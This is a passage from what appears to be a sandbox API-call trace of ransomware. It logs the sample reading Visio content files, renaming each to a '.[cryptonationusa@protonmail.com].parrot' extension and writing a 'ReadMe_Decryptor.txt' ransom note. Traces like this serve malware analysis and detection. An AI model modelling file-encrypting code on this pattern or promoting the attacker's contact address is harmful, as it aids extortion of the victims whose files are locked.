lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd400, lpOverlapped=0x0) returned 1 [0232.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.434] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.449] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.449] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d600, lpOverlapped=0x0) returned 1 [0232.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.465] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.465] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.468] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd400, lpOverlapped=0x0) returned 1 [0232.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.482] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.482] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.484] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7fe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7fe00, lpOverlapped=0x0) returned 1 [0232.500] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WADOWI_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wadowi_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WADOWI_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wadowi_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.530] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.530] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.532] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.532] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7f000, lpOverlapped=0x0) returned 1 [0232.635] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WADOWI_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wadowi_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WADOWI_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wadowi_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.666] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.669] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.669] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdae00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdae00, lpOverlapped=0x0) returned 1 [0232.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0232.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0232.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0232.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0232.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0232.678] GetLastError () returned 0x0 [0232.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0232.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0232.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0232.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0232.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0232.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0232.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0232.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0232.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0232.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0232.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0232.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0232.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0232.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0232.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0232.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0232.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0232.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0232.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ecf98 [0232.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0232.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x321e538 [0232.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecf98 | out: hHeap=0x5b0000) returned 1 [0232.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x31e64b8 [0232.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0232.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x321e538 [0232.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0232.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3350048 [0232.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0232.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x321e538 [0232.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0232.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x3350048 [0232.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0232.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x2b30020 [0232.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0232.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100530) returned 0x2f90020 [0232.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WALL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wall_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WALL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wall_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0232.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0232.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0232.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0232.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0232.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0232.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0232.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0232.882] GetFileType (hFile=0x288) returned 0x1 [0232.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0232.892] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.892] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.894] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.894] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd9200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd9200, lpOverlapped=0x0) returned 1 [0232.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0232.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0232.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0232.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0232.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0232.901] GetLastError () returned 0x0 [0232.929] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0232.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0232.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0232.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0232.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0232.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0232.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0232.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0232.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0232.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0232.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0232.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0232.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0232.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0232.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0232.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0232.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ecf98 [0232.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0232.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x321e538 [0232.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecf98 | out: hHeap=0x5b0000) returned 1 [0232.986] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x31e64b8 [0232.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0232.986] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x321e538 [0232.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0232.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3350048 [0232.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0232.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x321e538 [0232.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0232.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x3350048 [0232.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0232.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 